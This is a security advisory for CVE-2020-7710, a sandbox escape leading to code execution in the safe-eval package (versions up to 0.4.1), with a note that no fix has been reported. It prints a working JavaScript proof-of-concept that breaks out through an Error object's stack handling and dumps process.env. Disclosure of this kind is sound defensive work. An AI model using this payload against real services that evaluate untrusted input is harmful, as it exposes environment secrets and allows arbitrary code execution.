All reports
Critical

Sandbox Breakout / Arbitrary Code Execution in safe-eval

Affected versions

Affected versions
<= 0.4.1
Fixed version
Not reported

Exploitation

CVE-2020-7710

Probability of exploitation in the next 30 days: 1.43%

FIRST EPSS · 2026-11-24

Description

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Links